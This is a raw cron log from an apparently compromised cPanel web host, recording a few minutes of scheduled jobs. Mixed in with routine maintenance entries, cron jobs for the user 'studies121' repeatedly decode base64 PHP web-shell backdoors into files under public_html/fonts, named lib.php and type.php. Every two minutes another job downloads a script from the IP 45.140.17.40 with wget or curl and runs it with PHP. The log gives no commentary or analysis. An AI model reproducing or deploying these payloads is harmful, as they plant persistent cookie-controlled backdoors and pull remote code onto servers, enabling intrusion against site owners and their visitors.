Sep  3 10:47:02 ip-184-168-122-23 CROND[22700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:48:01 ip-184-168-122-23 CROND[22841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:48:01 ip-184-168-122-23 CROND[22843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:48:01 ip-184-168-122-23 CROND[22845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:48:01 ip-184-168-122-23 CROND[22844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:48:01 ip-184-168-122-23 CROND[22846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:49:01 ip-184-168-122-23 CROND[22942]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 10:49:01 ip-184-168-122-23 CROND[22944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:49:01 ip-184-168-122-23 CROND[22945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:49:01 ip-184-168-122-23 CROND[22943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:49:01 ip-184-168-122-23 CROND[22946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:50:01 ip-184-168-122-23 CROND[23095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:50:01 ip-184-168-122-23 CROND[23096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:50:01 ip-184-168-122-23 CROND[23100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:50:01 ip-184-168-122-23 CROND[23098]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:50:01 ip-184-168-122-23 CROND[23099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:50:01 ip-184-168-122-23 CROND[23107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:50:01 ip-184-168-122-23 CROND[23108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:50:01 ip-184-168-122-23 CROND[23111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:50:01 ip-184-168-122-23 CROND[23106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 10:51:01 ip-184-168-122-23 CROND[23250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:51:01 ip-184-168-122-23 CROND[23251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:51:01 ip-184-168-122-23 CROND[23253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:51:01 ip-184-168-122-23 CROND[23254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:52:01 ip-184-168-122-23 CROND[23404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:52:01 ip-184-168-122-23 CROND[23406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:52:01 ip-184-168-122-23 CROND[23407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:52:01 ip-184-168-122-23 CROND[23409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:52:01 ip-184-168-122-23 CROND[23408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:53:01 ip-184-168-122-23 CROND[23604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:53:01 ip-184-168-122-23 CROND[23607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:53:01 ip-184-168-122-23 CROND[23610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:53:01 ip-184-168-122-23 CROND[23611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:54:01 ip-184-168-122-23 CROND[23733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:54:01 ip-184-168-122-23 CROND[23735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:54:01 ip-184-168-122-23 CROND[23737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:54:01 ip-184-168-122-23 CROND[23738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:54:01 ip-184-168-122-23 CROND[23739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:55:01 ip-184-168-122-23 CROND[23909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:55:01 ip-184-168-122-23 CROND[23913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:55:01 ip-184-168-122-23 CROND[23916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:55:01 ip-184-168-122-23 CROND[23919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:55:01 ip-184-168-122-23 CROND[23923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:55:01 ip-184-168-122-23 CROND[23925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:56:01 ip-184-168-122-23 CROND[24031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:56:01 ip-184-168-122-23 CROND[24033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:56:01 ip-184-168-122-23 CROND[24034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:56:01 ip-184-168-122-23 CROND[24035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:56:01 ip-184-168-122-23 CROND[24037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:57:01 ip-184-168-122-23 CROND[24186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:57:01 ip-184-168-122-23 CROND[24188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:57:01 ip-184-168-122-23 CROND[24190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:57:01 ip-184-168-122-23 CROND[24189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:58:01 ip-184-168-122-23 CROND[24393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:58:01 ip-184-168-122-23 CROND[24395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:58:01 ip-184-168-122-23 CROND[24397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:58:01 ip-184-168-122-23 CROND[24398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:58:01 ip-184-168-122-23 CROND[24396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:59:01 ip-184-168-122-23 CROND[24547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:59:01 ip-184-168-122-23 CROND[24545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:59:01 ip-184-168-122-23 CROND[24546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:59:01 ip-184-168-122-23 CROND[24548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
